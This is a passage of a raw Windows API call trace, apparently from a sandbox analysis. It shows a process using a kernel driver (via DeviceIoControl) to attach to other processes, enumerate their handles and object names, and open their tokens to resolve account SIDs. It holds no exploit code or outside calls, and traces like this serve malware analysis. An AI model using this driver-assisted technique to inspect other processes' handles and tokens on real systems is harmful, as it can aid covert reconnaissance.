Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.282] ObfDereferenceObject (Object=0xfffffa8003065d10) returned 0x1 [0094.282] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.282] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.282] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.282] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0094.282] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.282] PsAcquireProcessExitSynchronization () returned 0x0 [0094.282] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.282] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0018822d0, HandleInformation=0x0) returned 0x0 [0094.282] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.282] PsReleaseProcessExitSynchronization () returned 0x2 [0094.282] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.282] ObQueryNameString (in: Object=0xfffff8a0018822d0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.282] ObfDereferenceObject (Object=0xfffff8a0018822d0) returned 0x2 [0094.282] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.282] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.282] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.282] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0094.282] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.282] PsAcquireProcessExitSynchronization () returned 0x0 [0094.282] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.282] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8009f26a50, HandleInformation=0x0) returned 0x0 [0094.282] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.282] PsReleaseProcessExitSynchronization () returned 0x2 [0094.282] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.282] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.282] ObfDereferenceObject (Object=0xfffffa8009f26a50) returned 0x5 [0094.282] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.283] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.283] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.283] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0094.283] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.283] PsAcquireProcessExitSynchronization () returned 0x0 [0094.283] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.283] ObReferenceObjectByHandle (in: Handle=0x35c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0018b3390, HandleInformation=0x0) returned 0x0 [0094.283] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.283] PsReleaseProcessExitSynchronization () returned 0x2 [0094.283] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.283] ObQueryNameString (in: Object=0xfffff8a0018b3390, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.283] ObfDereferenceObject (Object=0xfffff8a0018b3390) returned 0x2 [0094.283] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.283] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.283] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.283] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0094.283] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.283] PsAcquireProcessExitSynchronization () returned 0x0 [0094.283] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.283] ObReferenceObjectByHandle (in: Handle=0x360, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0018c8080, HandleInformation=0x0) returned 0x0 [0094.283] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.283] PsReleaseProcessExitSynchronization () returned 0x2 [0094.283] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.283] ObQueryNameString (in: Object=0xfffff8a0018c8080, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.283] ObfDereferenceObject (Object=0xfffff8a0018c8080) returned 0x2 [0094.283] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.283] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.283] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.283] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0094.283] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.283] PsAcquireProcessExitSynchronization () returned 0x0 [0094.283] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.283] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001c1b550, HandleInformation=0x0) returned 0x0 [0094.283] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.284] PsReleaseProcessExitSynchronization () returned 0x2 [0094.284] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.284] ObQueryNameString (in: Object=0xfffff8a001c1b550, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.284] ObfDereferenceObject (Object=0xfffff8a001c1b550) returned 0x2 [0094.284] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.284] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.284] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.284] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0094.284] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.284] PsAcquireProcessExitSynchronization () returned 0x0 [0094.284] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.284] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8005ffe6d0, HandleInformation=0x0) returned 0x0 [0094.284] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.284] PsReleaseProcessExitSynchronization () returned 0x2 [0094.284] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.284] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.284] ObfDereferenceObject (Object=0xfffffa8005ffe6d0) returned 0x5 [0094.284] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.284] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.284] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.284] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0094.284] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.284] PsAcquireProcessExitSynchronization () returned 0x0 [0094.284] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.284] ObReferenceObjectByHandle (in: Handle=0x380, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0018c86b0, HandleInformation=0x0) returned 0x0 [0094.284] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.284] PsReleaseProcessExitSynchronization () returned 0x2 [0094.284] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.284] ObQueryNameString (in: Object=0xfffff8a0018c86b0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.284] ObfDereferenceObject (Object=0xfffff8a0018c86b0) returned 0x2 [0094.284] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.284] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.284] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0094.285] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.285] PsAcquireProcessExitSynchronization () returned 0x0 [0094.285] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.285] ObReferenceObjectByHandle (in: Handle=0x384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00180e3b0, HandleInformation=0x0) returned 0x0 [0094.285] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.285] PsReleaseProcessExitSynchronization () returned 0x2 [0094.285] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.285] ObQueryNameString (in: Object=0xfffff8a00180e3b0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.285] ObfDereferenceObject (Object=0xfffff8a00180e3b0) returned 0x2 [0094.285] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.285] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.285] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0094.285] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.285] PsAcquireProcessExitSynchronization () returned 0x0 [0094.285] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.285] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0018d2a60, HandleInformation=0x0) returned 0x0 [0094.285] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.285] PsReleaseProcessExitSynchronization () returned 0x2 [0094.285] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.285] ObQueryNameString (in: Object=0xfffff8a0018d2a60, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.285] ObfDereferenceObject (Object=0xfffff8a0018d2a60) returned 0x2 [0094.285] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.285] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.285] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5cc) returned 0xc0 [0094.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.285] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80030b5b30, HandleInformation=0x0) returned 0x0 [0094.285] ObOpenObjectByPointer (in: Object=0xfffffa80030b5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.285] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x25 [0094.285] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.286] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.286] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.286] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.286] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.287] CloseHandle (hObject=0xc8) returned 1 [0094.287] CloseHandle (hObject=0xc0) returned 1 [0094.287] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0094.287] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.287] PsAcquireProcessExitSynchronization () returned 0x0 [0094.287] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880052335d0) [0094.288] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002a53310, HandleInformation=0x0) returned 0x0 [0094.288] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.288] PsReleaseProcessExitSynchronization () returned 0x2 [0094.288] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x23 [0094.288] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.288] ObfDereferenceObject (Object=0xfffffa8002a53310) returned 0x1 [0094.288] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.288] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0094.288] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.288] PsAcquireProcessExitSynchronization () returned 0x0 [0094.288] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880052335d0) [0094.288] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800fdffaa0, HandleInformation=0x0) returned 0x0 [0094.288] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.288] PsReleaseProcessExitSynchronization () returned 0x2 [0094.288] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x23 [0094.288] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.288] ObfDereferenceObject (Object=0xfffffa800fdffaa0) returned 0x1 [0094.288] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.288] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0094.288] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.288] PsAcquireProcessExitSynchronization () returned 0x0 [0094.288] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880052335d0) [0094.288] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80029139c0, HandleInformation=0x0) returned 0x0 [0094.288] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.288] PsReleaseProcessExitSynchronization () returned 0x2 [0094.288] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x23 [0094.288] ObQueryNameString (in: Object=0xfffffa80029139c0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.289] ObfDereferenceObject (Object=0xfffffa80029139c0) returned 0x3 [0094.289] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.289] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.289] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.289] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0094.289] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.289] PsAcquireProcessExitSynchronization () returned 0x0 [0094.289] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880052335d0) [0094.289] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002913bd0, HandleInformation=0x0) returned 0x0 [0094.289] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.289] PsReleaseProcessExitSynchronization () returned 0x2 [0094.289] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x23 [0094.289] ObQueryNameString (in: Object=0xfffffa8002913bd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.289] ObfDereferenceObject (Object=0xfffffa8002913bd0) returned 0x3 [0094.289] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.289] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.289] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x674) returned 0xc0 [0094.289] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.289] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8003c03630, HandleInformation=0x0) returned 0x0 [0094.289] ObOpenObjectByPointer (in: Object=0xfffffa8003c03630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.289] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0094.289] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.289] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.289] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.289] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.289] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, 